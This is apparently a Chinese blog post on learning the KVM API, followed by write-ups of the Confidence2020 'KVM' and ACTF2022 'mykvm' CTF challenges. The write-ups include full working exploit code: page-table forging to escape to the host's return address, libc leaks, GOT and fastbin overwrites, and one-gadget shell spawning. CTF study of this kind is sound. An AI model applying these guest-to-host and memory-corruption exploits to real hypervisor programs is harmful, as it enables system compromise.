KVM虚拟化学习&kvm题目复现 kvm虚拟化学习 对我而言现在学习这个还是比较吃力的,涉及很复杂的一些理论知识,看的云里雾里(多半没看懂),而且资料也不是很多,看了一两天大概看懂了kvm的整个运行过程,虽然学的很浅,但是在这里记录一下。
kvm概述以及使用 kvm是运行在Linux内核中的硬件虚拟化管理模块,用户态的程序可以通过kvm暴露的用户态接口使用硬件虚拟化的功能,我们可以通过规定的API以及数据结构完成CPU虚拟化,内存虚拟化以及IO虚拟化,以此模拟完整的虚拟环境。
先写一段我们想要执行的代码,其中比较重要的是out
指令,这个指令就是把al保存的数据发送到dx储存的io端口上去,CPU通常通过读写设备寄存器的方式和设备进行通信,访问设备寄存器的方式一共有两种,一种是内存映射I/O(MMIO),一种是端口映射I/O(PMIO),MMIO是将设备寄存器直接映射到内存空间上并且拥有独立的地址,CPU可以直接通过读写内存指令即可通信,而PMIO给每个设备分配对应的端口号,然后通过专门的端口操作指令(out/in)和设备通信,而0x3f8则是模拟的一个端口号
1 2 3 4 5 mov al, 1 add al,'0' mov dx, 0x3f8 out dx, al hlt
然后把这个汇编给编译了再得到二进制数据
1 2 3 4 rootzhang@rootzhang-virtual-machine:~/kvmstudy/test1$ nasm huibian.asm -o huibian rootzhang@rootzhang-virtual-machine:~/kvmstudy/test1$ hexdump -C huibian 00000000 b0 01 04 30 ba f8 03 ee f4 |...0.....| 00000009
然后把这个shellcode存储到一个数据里
1 2 3 uint8_t code[]={ 0xb0 ,0x01 , 0x04 , 0x30 , 0xba , 0xf8 , 0x03 , 0xee ,0xf4 }
接着真正开始利用kvm的接口来创建虚拟机然后运行这段shellcode.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 #include <err.h> #include <fcntl.h> #include <linux/kvm.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <sys/stat.h> #include <sys/types.h> int main () { int ret; uint8_t code[]={ 0xb0 ,0x01 , 0x04 , 0x30 , 0xba , 0xf8 , 0x03 , 0xee ,0xf4 }; int kvm=open("/dev/kvm" ,O_RDWR|O_CLOEXEC); ret=ioctl(kvm,KVM_GET_API_VERSION,NULL ); if (ret==-1 ){ puts ("KVM_GET_API_VERSION get fail" ); exit (0 ); } if (ret!=12 ){ puts ("KVM_GET_API_VERSION is not 12" ); exit (0 ); } int vmfd=ioctl(kvm,KVM_CREATE_VM,(unsigned long )0 ); if (vmfd==-1 ){ puts ("KVM_CREATE_VM fail" ); exit (0 ); } void *mem=mmap(NULL , 0x1000 , PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1 , 0 ); if (!mem){ puts ("mmap mem fail" ); exit (0 ); } memcpy (mem,code,sizeof (code)); struct kvm_userspace_memory_region region = { .slot=0 , .guest_phys_addr=0x1000 , .memory_size=0x1000 , .userspace_addr=(uint64_t )mem, }; ret=ioctl(vmfd,KVM_SET_USER_MEMORY_REGION,®ion); if (ret==-1 ){ puts ("KVM_SET_USER_MEMORY_REGION fail" ); exit (0 ); } int vcpufd=ioctl(vmfd,KVM_CREATE_VCPU,(unsigned long )0 ); if (vcpufd==-1 ){ puts ("KVM_CREATE_VCPU fail" ); exit (0 ); } size_t kvm_run_size=ioctl(kvm,KVM_GET_VCPU_MMAP_SIZE,NULL ); if (!kvm_run_size){ puts ("KVM_GET_VCPU_MMAP_SIZE fail" ); exit (0 ); } struct kvm_run *run = mmap(NULL ,kvm_run_size,PROT_READ | PROT_WRITE, MAP_SHARED, vcpufd, 0 ); struct kvm_sregs sregs ; ret=ioctl(vcpufd,KVM_GET_SREGS,&sregs); if (ret==-1 ){ puts ("KVM_GET_SREGS fail" ); exit (0 ); } sregs.cs.base = 0 ; sregs.cs.selector = 0 ; ret=ioctl(vcpufd,KVM_SET_SREGS,&sregs); if (ret==-1 ){ puts ("KVM_SET_SREGS fail" ); exit (0 ); } struct kvm_regs regs = { .rip=0x1000 , .rax=1 , .rflags=0x2 , }; ret=ioctl(vcpufd,KVM_SET_REGS,®s); if (ret==-1 ){ puts ("KVM_SET_REGS fail" ); exit (0 ); } while (1 ) { ret=ioctl(vcpufd,KVM_RUN,NULL ); if (ret==-1 ){ puts ("KVM_RUN fail" ); exit (0 ); } switch (run->exit_reason) { case KVM_EXIT_HLT: puts ("KVM_EXIT_HLT hahaha" ); return 0 ; break ; case KVM_EXIT_IO: if ( run->io.direction==KVM_EXIT_IO_OUT&& run->io.size==1 && run->io.port==0x3f8 && run->io.count==1 ){ putchar (*(( (char *)run)+run->io.data_offset)); }else { puts ("KVM_EXIT_IO fail" ); exit (0 ); } break ; default : break ; } } }
结果
1 2 rootzhang@rootzhang-virtual-machine:~/kvmstudy/test1$ ./kvmpwn 1KVM_EXIT_HLT hahaha
符合预期
验证一下guest被分配的内存是否是宿主进程给他的
1 2 3 4 5 6 7 mov al, 1 add al,'0' mov dx, 0x3f8 out dx, al mov al,0x20 mov word [0x1000+0x20],'2' hlt
1 2 3 4 5 case KVM_EXIT_HLT: printf ("%s\n" ,((char *)mem)+0x20 ); puts ("KVM_EXIT_HLT hahaha" ); return 0 ; break ;
结果
1 2 3 rootzhang@rootzhang-virtual-machine:~/kvmstudy/test1$ ./kvmpwn 12 KVM_EXIT_HLT hahaha
符合预期
kvm深入学习 上面只是比较简单的kvm使用方法,guest并没有开虚拟内存映射,直接使用的是他的”物理地址”,所以比较好理解,我找见了conf2020的一道kvm源码,他整了很多花活,我稍微改了改让他能够跑起来,接下来的任务就是搞懂这个源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 #include <err.h> #include <fcntl.h> #include <linux/kvm.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <sys/stat.h> #include <sys/types.h> #define CR0_PE 1u #define CR0_MP (1U << 1) #define CR0_EM (1U << 2) #define CR0_TS (1U << 3) #define CR0_ET (1U << 4) #define CR0_NE (1U << 5) #define CR0_WP (1U << 16) #define CR0_AM (1U << 18) #define CR0_NW (1U << 29) #define CR0_CD (1U << 30) #define CR0_PG (1U << 31) #define CR4_PAE (1U << 5) #define EFER_LME (1U << 8) #define EFER_LMA (1U << 10) void read_n (int count, void *dst) { int to_read = count; char *dst_ptr = dst; while (to_read > 0 ) { int read_res = read(0 , dst_ptr, to_read); to_read -= read_res; dst_ptr += read_res; } } void copy_kvm_segment (struct kvm_segment *v1,struct kvm_segment *v2) { v1->base =v2->base; v1->limit = v2->limit; v1->selector =v2->selector; v1->present =v2->present; v1->type =v2->type; v1->dpl = v2->dpl; v1->db =v2->db; v1->s =v2->s; v1->l = v2->l; v1->g =v2->g; } int main () { char guest_mem[0x8000 ]; memset (&guest_mem, 0 , 0x8000 ); char *aligned_guest_mem = guest_mem + (4096 - (size_t )guest_mem % 4096 ); unsigned int code_size = -1 ; read_n(sizeof (4 ), &code_size); if (code_size > 0x4000 ) { puts ("\n[init] hold your horses" ); return 1 ; } read_n(code_size, aligned_guest_mem); int kvm_fd = open("/dev/kvm" , O_CLOEXEC|O_RDWR); unsigned int vm_fd = ioctl(kvm_fd, KVM_CREATE_VM, 0 ); struct kvm_userspace_memory_region region = { .slot = 0 , .flags = 0 , .guest_phys_addr = 0 , .memory_size = 0x8000 , .userspace_addr = aligned_guest_mem }; ioctl(vm_fd, KVM_SET_USER_MEMORY_REGION, ®ion); int vcpu_fd = ioctl(vm_fd, KVM_CREATE_VCPU, 0 ); int vcpu_mmap_size = ioctl(kvm_fd, KVM_GET_VCPU_MMAP_SIZE, 0 ); struct kvm_run *run_mem = mmap(NULL , vcpu_mmap_size, PROT_READ|PROT_WRITE, MAP_SHARED, vcpu_fd, 0 ); struct kvm_regs guest_regs ; memset (&guest_regs, 0 , sizeof (guest_regs)); guest_regs.rsp = 0xff0 ; guest_regs.rflags = 2 ; ioctl(vcpu_fd, KVM_SET_REGS, &guest_regs); struct kvm_sregs guest_sregs ; ioctl(vcpu_fd, KVM_GET_SREGS, &guest_sregs); guest_sregs.cr0 = CR0_PE | CR0_MP | CR0_ET | CR0_NE | CR0_WP | CR0_AM | CR0_PG; guest_sregs.cr4 = CR4_PAE; guest_sregs.efer = EFER_LMA | EFER_LME; guest_sregs.cr3 = 0x4000 ; *(size_t *)(aligned_guest_mem + 0x4000 ) = 0x5003 ; *(size_t *)(aligned_guest_mem + 0x5000 ) = 0x6003 ; *(size_t *)(aligned_guest_mem + 0x6000 ) = 0x7003 ; *(size_t *)(aligned_guest_mem + 0x7000 ) = 0x3 ; *(size_t *)(aligned_guest_mem + 0x7008 ) = 0x1003 ; *(size_t *)(aligned_guest_mem + 0x7010 ) = 0x2003 ; *(size_t *)(aligned_guest_mem + 0x7018 ) = 0x3003 ; struct kvm_segment seg = { .base = 0 , .limit = 0xffffffff , .selector = 1 << 3 , .present = 1 , .type = 11 , .dpl = 0 , .db = 0 , .s = 1 , .l = 1 , .g = 1 , }; copy_kvm_segment(&(guest_sregs.cs),&seg); seg.type = 3 ; seg.selector = 2 << 3 ; copy_kvm_segment(&(guest_sregs.ds),&seg); copy_kvm_segment(&(guest_sregs.es),&seg); copy_kvm_segment(&(guest_sregs.fs),&seg); copy_kvm_segment(&(guest_sregs.gs),&seg); copy_kvm_segment(&(guest_sregs.ss),&seg); ioctl(vcpu_fd, KVM_SET_SREGS, &guest_sregs); while (1 ) { ioctl(vcpu_fd, KVM_RUN, 0 ); if (run_mem->exit_reason == KVM_EXIT_HLT || run_mem->exit_reason == KVM_EXIT_SHUTDOWN) break ; if (run_mem->exit_reason == KVM_EXIT_IO) { if (run_mem->io.direction == KVM_EXIT_IO_OUT && run_mem->io.port == 0x3f8 ) { printf ("%.*s" , run_mem->io.count * run_mem->io.size, run_mem->request_interrupt_window + run_mem->io.data_offset); } } printf ("\n[loop] exit reason: %d\n" , run_mem->exit_reason); } puts ("\n[loop] goodbye!" ); return 0 ; }
又看了两天的理论知识,终于能完全看懂上面的kvm实例了,主要的难点在于理解vcpu的特殊寄存器的设置上
1 2 3 guest_sregs.cr0 = CR0_PE | CR0_MP | CR0_ET | CR0_NE | CR0_WP | CR0_AM | CR0_PG; guest_sregs.cr4 = CR4_PAE; guest_sregs.efer = EFER_LMA | EFER_LME;
他首先设置了cr0寄存器,这个寄存器是控制寄存器,每一位都是一个开关,其中CR0_PE
就是开起了保护模式,CR0_PG
开启了分页管理模式,相当于开起了MMU地址翻译,后续还会设置页表和cr3寄存器,然后cr4寄存器和efer寄存器的设置都是为了开启64位模式,因为如果开启了保护模式默认是32位的。这块多亏了xxrw学长才理解。膜
然后他设置了cr3寄存器然后初始化了四级页表,理解这块得需要操作系统中虚拟地址到物理地址翻译的知识,前三级页表都只有一个页表项,指向下一级页表,第四级页表的页表项记录的是物理地址
,一共有四项,0,1,2,3,所以一共可以翻译4*4k的页面,比如0x0就会落入第四级页表的第0项,最后翻译成物理地址也是0,0x2000就会落入第四级页表的第2项,最后翻译的物理地址是0x2000,所以这个页表翻译了和没翻译差不多。
1 2 3 4 5 6 7 8 9 guest_sregs.cr3 = 0x4000 ; *(size_t *)(aligned_guest_mem + 0x4000 ) = 0x5003 ; *(size_t *)(aligned_guest_mem + 0x5000 ) = 0x6003 ; *(size_t *)(aligned_guest_mem + 0x6000 ) = 0x7003 ; *(size_t *)(aligned_guest_mem + 0x7000 ) = 0x3 ; *(size_t *)(aligned_guest_mem + 0x7008 ) = 0x1003 ; *(size_t *)(aligned_guest_mem + 0x7010 ) = 0x2003 ; *(size_t *)(aligned_guest_mem + 0x7018 ) = 0x3003 ;
然后就是段寄存器的设置了,使用的是kvm_segment
结构体,我的理解这不仅是对cs寄存器的设置,更准确的说是对段描述符的设置,这个kvm_segment
就是对段描述符的虚拟,其中base就是段描述符的基址,limit是段描述符的长度,他和g
搭配使用当g=1时,段的长度是以4k为单位的,所以段的最大大小就是2^32*4K,如果g=0,段的长度就是以字节为单位的。selector和present不清楚,type就是设置段是什么段,下面的代码表示是代码段,段描述符是保护模式必要的要素。
1 2 3 4 5 6 7 8 9 10 11 12 struct kvm_segment seg = { .base = 0 , .limit = 0xffffffff , .selector = 1 << 3 , .present = 1 , .type = 11 , .dpl = 0 , .db = 0 , .s = 1 , .l = 1 , .g = 1 , };
然后程序就进入虚拟机开始执行指令了,既然看懂了这段代码终于可以正向做题了。
kvm题目复现 Confidence2020 CTF KVM 主要的漏洞点在虚拟vm的内存时候发生了问题,他把host程序的返回地址也映射到guest内存中,导致可以在guest中修改
host进程的返回地址,然后利用hlt
指令退出guest返回host进程,然后退出main函数时getshell.
1 2 3 4 5 6 7 8 memset (s, 0 , 0x8000 uLL);v14 = &s[4096LL - (((unsigned __int16)&savedregs + 32752 ) & 0xFFF )]; v25[0 ] = 0 ; v25[1 ] = 0 ; v26 = 0LL ; v27 = 0x8000 LL; v28 = v14;
漏洞利用一共分三步,第一步伪造新的页表项,因为原来页表项只能访问到[00x4000],而返回地址在[0x70000x8000],所以得伪造新的页表,然后修改cr3寄存器,让指令可以访问到返回地址所在的区域.我们选择让cr3=0x1000
1 2 3 4 5 6 mov qword ptr [0x1000],0x2003 mov qword ptr [0x2000],0x3003 mov qword ptr [0x3000], 0x3 mov qword ptr [0x0], 0x7003 mov rax, 0x1000 mov cr3, rax
现在当我们访问0x0地址的时候,就会访问到0x7000的地方,然后开始线性查找,找到返回地址
1 2 3 4 5 6 mov rax, 0x1050 look_for_return: add rax, 0x8 cmp qword ptr [rax], 0 je look_for_return add rax, 0x18
此时rax就指向了retrun的返回地址了,然后通过加减预算把他改为ogg
1 2 3 4 mov rcx, qword ptr [rax] add rcx, 0x249e6 mov qword ptr [rax], rcx hlt
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 from code import interactfrom pwn import *context.arch = 'amd64' context.log_level='debug' sh=process("./kvm" ) ''' 0x45226 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL 0x4527a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xf03a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xf1247 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL ''' shellcode=''' mov qword ptr [0x1000],0x2003 mov qword ptr [0x2000],0x3003 mov qword ptr [0x3000], 0x3 mov qword ptr [0x0], 0x3 mov qword ptr [0x8], 0x7003 mov rax, 0x1000 mov cr3, rax mov rax, 0x1050 look_for_return: add rax, 0x8 cmp qword ptr [rax], 0 je look_for_return add rax, 0x18 mov rcx, qword ptr [rax] add rcx, 0x249e6 mov qword ptr [rax], rcx hlt ''' gdb.attach(sh,'b *(0x555555554000 +{0})' .format (0xFD3 )) def exp (): shellcode_len=len (asm(shellcode)) sh.send(p32(shellcode_len)) sh.sendline(asm(shellcode)) sh.interactive() exp()
有一个问题我目前不能理解,就是给第四级页表第0项设置非0的物理内存,然后翻译的时候guest就会退出,然后kvm爆KVM_EXIT_SHUTDOWN
的退出原因,第四级页表第0项对应的虚拟地址就是0x0~0xfff,可能这个地址有啥特殊的吧,不能随便设置。
复现完之后发现也不是很难,但是自己从开始学习到复现用了快一周的时间,我是猪鼻,除了上述做法伪造页表之外,我觉得理论上还存在一种做法,即从保护模式中返回到实模式,就可以不用伪造页表直接进行任意物理
地址访问了,但看了一些资料看不懂捏,后面有时间再捣鼓捣鼓。
ACTF2022 mykvm 和上一题类似,都是设置vm的内存时大小设置不合理,导致可以在guest可以越界访存host进程的信息,比如在这道题中guest可以访问到dest地址,然后还对分配给guest的内存不清0,导致可以leak出栈地址和libc地址。这道题一共有两种解法
解法一 kvm进入guest的时候默认是16位实模式的,解法一就是在直接实模式中通过out
指令leak出libc地址,然后修改dest指针,使其指向puts_got
附近,在退出虚拟机后执行memcpy(dest, *(const void **)&nbytes[1], 0x20uLL);
时把got表项改成ogg,然后执行puts("Bye!");
来getshell.不过程序使用readline()函数接收数据,所以字符必须是可见字符,这就对ogg地址的输入造成了困难,解决办法是只写got的后三个字节,但是这三个字节也有可能不是可见字符,所以具有一定概率性,我的脚本之所以没有爆破原因是我在本地复现的,而且把aslr关了,我直接选了后三个字符是可见字符的ogg来打的
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 from pwn import *context.arch = 'amd64' context.log_level='debug' sh=process("./mykvm" ) kvm=ELF("./mykvm" ) puts_got=kvm.got["puts" ] ''' 0x45226 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL 0x4527a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xf03a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xf1247 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL ''' shellcode=asm(''' .code16 mov bx, 0x3f8 get_libc: mov al, byte ptr [bx] out 1,al add bx, 1 cmp bx,0x400 jne get_libc mov bx,0x7100 mov byte ptr [bx], 0x0b mov byte ptr [bx+1], 0x20 mov byte ptr [bx+2], 0x60 hlt ''' )gdb.attach(sh,'b *(0x400000 +{0})' .format (0x1127 )) def exp (): sh.recvuntil("your code size: " ) sh.sendline(str (0x1000 )) sh.recvuntil("your code: " ) sh.send(shellcode) sh.recvuntil("guest name: " ) sh.sendline("jingyinghua" ) sh.recvuntil("guest passwd: " ) sh.sendline("123123" ) sh.recvuntil("123123\n" ) sleep(1 ) libc_base=u64(sh.recv(8 ))-0x8149d8 sh.recvuntil("host name: " ) ogg_addr=libc_base+0xf1247 sh.sendline('a' *0x1d +p32(ogg_addr&0xffffff )) sh.interactive() exp()
在实模式中可以通过段寄存器:[通用寄存器]来达到2^20的寻址,也可以直接通过通用寄存器来寻址比如mov byte ptr [bx], 0x0b
,但注意地址不能超过0x10000
解法二 相较于解法就麻烦很多,而且也是爆破,和解法一相比稳定性差不多吧,这种解法就是设置gdt端描述表,然后修改cr0寄存进入保护模式,进入保护模式默认就进入了32位,这样寻址范围就高达4G,就可以直接利用0x60a100
里的堆地址,然后然后利用这个指针泄露libc地址,然后修改0x40的fastbin上的第一个堆块的fd为0x602032
,这段空间在memcpy_got
附近,然后修改dest指针指向的堆块保存’/bin/sh’字符串,在退出虚拟机后就可以利用readline函数申请到这段空间,然后修改memcpy_got
后两个字节为do_system
地址。最后就是执行memcpy(des)
相当于执行了system('/bin/sh')
,但是由于readline函数会对字符最后清零\x00
,所以得爆破让do_system
地址的倒数第三个字节为0才行,这个得爆一会。
交互脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from re import Sfrom pwn import *context.arch = 'amd64' context.log_level='debug' kvm=ELF("./mykvm" ) puts_got=kvm.got["puts" ] while (1 ): sh=process("./mykvm" ) sh.recvuntil("your code size: " ) sh.sendline(str (0x1000 )) sh.recvuntil("your code: " ) with open ("./exp.bin" , "rb" ) as f: code = f.read() sh.send(code) sh.recvuntil("guest name: " ) sh.sendline("a" *0x28 ) sh.recvuntil("guest passwd: " ) sh.sendline("a" *0x50 ) sleep(0.1 ) libc_base = u64(sh.recvuntil("\x7f" )[-6 :].ljust(8 , '\x00' ))-0x3c5540 system_addr=libc_base+0x44e30 if ((system_addr>>0x10 )&0xff )==0 : sleep(1 ) sh.recvuntil("host name: " ) sh.sendline("b" *0x2e +p16(system_addr&0xffff )) sh.interactive() sh.close()
汇编代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 cli lgdt [gdt_descriptor] mov eax,cr0 or eax,0x1 mov cr0, eax code: mov ax, 0x10 ; 将数据段寄存器ds和附加段寄存器es置为0x10 mov ds, ax mov es, ax mov fs, ax ; fs和gs寄存器由操作系统使用,这里统一设成0x10 mov gs, ax mov ax, 0x18 ; 将栈段寄存器ss置为0x18 mov ss, ax mov ebp, 0x7c00 ; 现在栈顶指向 0x7c00 mov esp, ebp mov eax, [0x7100] add eax, 0x1bc8 sub eax, 0x603000 mov ecx, [eax] mov edx, [eax+4] mov eax, ecx get_libc1: out 1,al shr eax, 8 cmp eax, 0 jne get_libc1 mov eax, edx get_libc2: out 1,al shr eax, 8 cmp eax, 0 jne get_libc2 chang_fastbin_binsh_to_dest: mov eax, [0x7100] add eax, 0x13670 sub eax, 0x603000 mov edx, 0x602032 mov [eax], edx mov eax, [0x7100] sub eax, 0x603000 mov edx, 0x6e69622f mov [eax], edx mov edx, 0x68732f mov [eax+4], edx hlt gdt_start: gdt_null: dd 0 dd 0 gdt_code: dw 0xffff dw 0x0 db 0x0 db 10011010b db 11001111b db 0x0 gdt_data: dw 0xffff dw 0x0 db 0x0 db 10010010b db 11001111b db 0 gdt_stack: dw 0xffff dw 0x0 db 0x0 db 10010010b db 01000000b db 0 gdt_end: gdt_descriptor: dw gdt_end-gdt_start-1 dd gdt_start
开启保护模式光设置段描述表gdt还不够,还得设置一些段寄存器,然后kvm一直爆KVM_EXIT_SHUTDOWN